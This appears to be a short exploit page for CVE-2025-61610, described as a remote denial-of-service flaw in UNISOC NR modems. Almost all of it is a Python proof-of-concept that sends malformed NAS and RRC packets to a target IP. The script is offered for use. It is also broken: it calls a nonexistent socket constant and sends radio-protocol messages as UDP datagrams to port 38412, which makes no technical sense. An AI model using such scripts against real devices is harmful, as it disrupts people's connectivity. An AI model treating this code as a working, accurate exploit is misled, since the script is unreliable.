CVE-2025-61610: 紫光展锐NR调制解调器输入验证不当导致远程拒绝服务

# CVE-2025-61610 PoC - NR Modem Denial of Service # Target: UNISOC NR Modem # Attack Type: Remote DoS via malformed NR protocol messages import socket import struct import random def create_malformed_nas_message(): """Create a malformed NAS message to trigger input validation bug""" # NAS Message Header nas_header = bytes([ 0x00, 0x00, # Extended protocol discriminator 0x00, # Security header type 0x00, # Message type ]) # Malformed IEI with invalid length malformed_ie = bytes([ 0xFF, # Invalid IEI 0xFF, 0xFF, # Invalid length (exceeds maximum) ]) # Padding with invalid data padding = bytes([random.randint(0, 255) for _ in range(100)]) return nas_header + malformed_ie + padding def create_malformed_rrc_message(): """Create a malformed RRC message""" rrc_header = bytes([ 0x00, # RRC message type 0xFF, # Invalid frequency 0xFF, 0xFF, # Invalid PCI ]) # Add oversized field oversized_field = bytes([0x00] * 1000) return rrc_header + oversized_field def send_dos_packet(target_ip, target_port=38412): """Send DoS packet to NR modem""" sock = socket.socket(socket.AF_INET, socket.SDSOCK_DGRAM) # Try NAS message nas_payload = create_malformed_nas_message() sock.sendto(nas_payload, (target_ip, target_port)) # Try RRC message rrc_payload = create_malformed_rrc_message() sock.sendto(rrc_payload, (target_ip, target_port)) sock.close() print(f"[+] Malformed packets sent to {target_ip}:{target_port}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] print(f"[*] CVE-2025-61610 PoC - Targeting {target}") send_dos_packet(target)